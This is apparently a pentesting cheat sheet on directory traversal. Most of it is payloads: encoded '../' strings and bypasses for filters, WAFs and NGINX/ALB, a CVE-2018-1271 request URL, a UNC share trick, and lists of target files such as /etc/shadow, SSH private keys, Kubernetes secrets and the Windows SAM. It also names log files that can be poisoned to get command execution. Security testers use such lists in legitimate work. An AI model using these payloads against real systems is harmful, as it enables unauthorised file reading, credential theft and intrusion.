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Directory traversal

A directory or path traversal consists in exploiting insufficient security validation / sanitization of user-supplied input file names, so that characters representing "traverse to parent directory" are passed through to the file APIs.

Summary

Tools

Basic exploitation

We can use the .. characters to access the parent directory, the following strings are several encoding that can help you bypass a poorly implemented filter.

../
..\
..\/
%2e%2e%2f
%252e%252e%252f
%c0%ae%c0%ae%c0%af
%uff0e%uff0e%u2215
%uff0e%uff0e%u2216

16 bits Unicode encoding

. = %u002e
/ = %u2215
\ = %u2216

UTF-8 Unicode encoding

. = %c0%2e, %e0%40%ae, %c0ae
/ = %c0%af, %e0%80%af, %c0%2f
\ = %c0%5c, %c0%80%5c

Bypass "../" replaced by ""

Sometimes you encounter a WAF which remove the "../" characters from the strings, just duplicate them.

..././
...\.\

Bypass "../" with ";"

..;/
http://domain.tld/page.jsp?include=..;/..;/sensitive.txt 

Double URL encoding

. = %252e
/ = %252f
\ = %255c

e.g: Spring MVC Directory Traversal Vulnerability (CVE-2018-1271) with http://localhost:8080/spring-mvc-showcase/resources/%255c%255c..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/windows/win.ini

UNC Bypass

An attacker can inject a Windows UNC share ('\UNC\share\name') into a software system to potentially redirect access to an unintended location or arbitrary file.

\\localhost\c$\windows\win.ini

NGINX/ALB Bypass

NGINX in certain configurations and ALB can block traversal attacks in the route, For example: http://nginx-server/../../ will return a 400 bad request.

To bypass this behaviour just add forward slashes in front of the url: http://nginx-server////////../../

Path Traversal

Interesting Linux files

/etc/issue
/etc/passwd
/etc/shadow
/etc/group
/etc/hosts
/etc/motd
/etc/mysql/my.cnf
/proc/[0-9]*/fd/[0-9]*   (first number is the PID, second is the filedescriptor)
/proc/self/environ
/proc/version
/proc/cmdline
/proc/sched_debug
/proc/mounts
/proc/net/arp
/proc/net/route
/proc/net/tcp
/proc/net/udp
/proc/self/cwd/index.php
/proc/self/cwd/main.py
/home/$USER/.bash_history
/home/$USER/.ssh/id_rsa
/var/run/secrets/kubernetes.io/serviceaccount
/var/lib/mlocate/mlocate.db
/var/lib/mlocate.db

Interesting Windows files

Always existing file in recent Windows machine. Ideal to test path traversal but nothing much interesting inside...

c:\windows\system32\license.rtf
c:\windows\system32\eula.txt

Interesting files to check out (Extracted from https://github.com/soffensive/windowsblindread)

c:/boot.ini
c:/inetpub/logs/logfiles
c:/inetpub/wwwroot/global.asa
c:/inetpub/wwwroot/index.asp
c:/inetpub/wwwroot/web.config
c:/sysprep.inf
c:/sysprep.xml
c:/sysprep/sysprep.inf
c:/sysprep/sysprep.xml
c:/system32/inetsrv/metabase.xml
c:/sysprep.inf
c:/sysprep.xml
c:/sysprep/sysprep.inf
c:/sysprep/sysprep.xml
c:/system volume information/wpsettings.dat
c:/system32/inetsrv/metabase.xml
c:/unattend.txt
c:/unattend.xml
c:/unattended.txt
c:/unattended.xml
c:/windows/repair/sam
c:/windows/repair/system

The following log files are controllable and can be included with an evil payload to achieve a command execution

/var/log/apache/access.log
/var/log/apache/error.log
/var/log/httpd/error_log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/vsftpd.log
/var/log/sshd.log
/var/log/mail

References